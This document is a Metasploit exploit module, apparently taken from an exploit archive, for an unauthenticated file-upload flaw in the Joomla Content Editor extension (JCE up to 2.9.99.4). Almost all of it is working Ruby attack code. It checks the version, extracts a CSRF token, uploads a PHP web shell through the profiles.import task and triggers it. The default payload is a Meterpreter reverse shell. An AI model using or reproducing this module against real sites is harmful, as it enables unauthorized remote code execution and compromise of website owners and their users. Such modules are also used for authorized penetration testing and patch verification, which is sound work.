📄 Joomla Content Editor 2.9.99.4 Shell Upload

# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE',
            'Description' => %q{
              This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE
              (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce
              authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.
              This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.
    
              JCE versions up to and including 2.9.99.4 are affected.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'ispyispyispy', # msf module
              'David Jardin', # discovery
              'Uwe Flottemesch' # discovery
            ],
            'References' => [
              ['CVE', '2026-48907'],
              ['GHSA', 'c3f5-4g7f-qjqj'],
              ['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites']
            ],
            'DisclosureDate' => '2026-06-05',
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              ['Joomla Content Editor (Joomla!)', {}]
            ],
            'Privileged' => false,
            'DefaultOptions' => {
              'PAYLOAD' => 'php/meterpreter/reverse_tcp'
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']),
          OptString.new('FILENAME', [false, 'The filename for the uploaded payload (default: random)'])
        ])
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php')
        )
    
        return CheckCode::Unknown('Could not connect to web service.') unless res
        return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404
        return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200
    
        # We could also check with .php extension, but i'd rather not trigger anything by an accident.
        filename = "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}#{['.jpg', '.png'].sample}"
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'tmp', filename)
        )
    
        return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403
    
        version = extract_jce_version
    
        return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version
    
        version = Rex::Version.new(version)
    
        return CheckCode::Safe("JCE version #{version} detected.") unless version <= Rex::Version.new('2.9.99.4')
    
        CheckCode::Appears("JCE version #{version} detected.")
      end
    
      def exploit
        payload_filename = datastore['FILENAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php"
    
        fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') unless payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i)
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true
        )
    
        fail_with(Failure::Unreachable, 'Could not connect to web service') unless res
        fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200
    
        csrf_token = extract_csrf_token(res.body)
        fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token
        vprint_status("Extracted CSRF token: #{csrf_token}")
    
        print_status("Uploading #{payload_filename}")
        res = upload_profile(payload_filename, payload.encoded, csrf_token)
    
        fail_with(Failure::Unreachable, 'No response received for the profile upload request') unless res
        fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}") unless res.code == 200
    
        register_files_for_cleanup(payload_filename)
    
        payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename)
        print_status("Triggering #{payload_uri}")
    
        send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5)
      end
    
      def extract_jce_version
        uri = normalize_uri(
          target_uri.path, 'media', 'com_jce', 'editor', 'extensions',
          'popups', 'jcemediabox', 'js', 'jcemediabox.js'
        )
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => uri,
          'vars_get' => { 'v' => Time.now.to_i } # cache buster
        )
    
        return unless res&.code == 200
    
        match = res.body.match(/jce\s*-\s*([\d.]+)/)
        match[1] if match
      end
    
      def extract_csrf_token(body)
        match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/)
        return match[1] if match
    
        match = body.match(/<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"/i)
        match[1] if match
      end
    
      def upload_profile(filename, content, csrf_token)
        mime = Rex::MIME::Message.new
        mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"")
        mime.add_part('profiles.import', nil, nil, 'form-data; name="task"')
        mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"")
    
        data = mime.to_s
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path),
          'vars_get' => { 'option' => 'com_jce' },
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => data
        )
      end
    end